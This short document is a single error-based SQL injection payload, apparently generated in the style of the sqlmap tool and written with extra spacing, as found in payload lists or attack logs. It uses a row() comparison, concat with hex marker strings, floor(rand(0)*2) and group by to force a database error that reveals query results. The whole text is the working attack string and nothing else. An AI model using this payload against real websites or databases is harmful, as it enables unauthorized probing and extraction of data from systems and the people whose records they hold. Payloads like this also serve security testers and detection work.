1,row  (  7937,5067  )  >  (  select count  (  *  )  ,concat  (  0x7171706a71,  (  select   (  elt  (  7937  =  7937,1   )    )     )  ,0x717a767a71,floor  (  rand  (  0  )  *2   )    )   x from   (  select 9974 union select 5497 union select 8209 union select 8147  )  a group by x  )  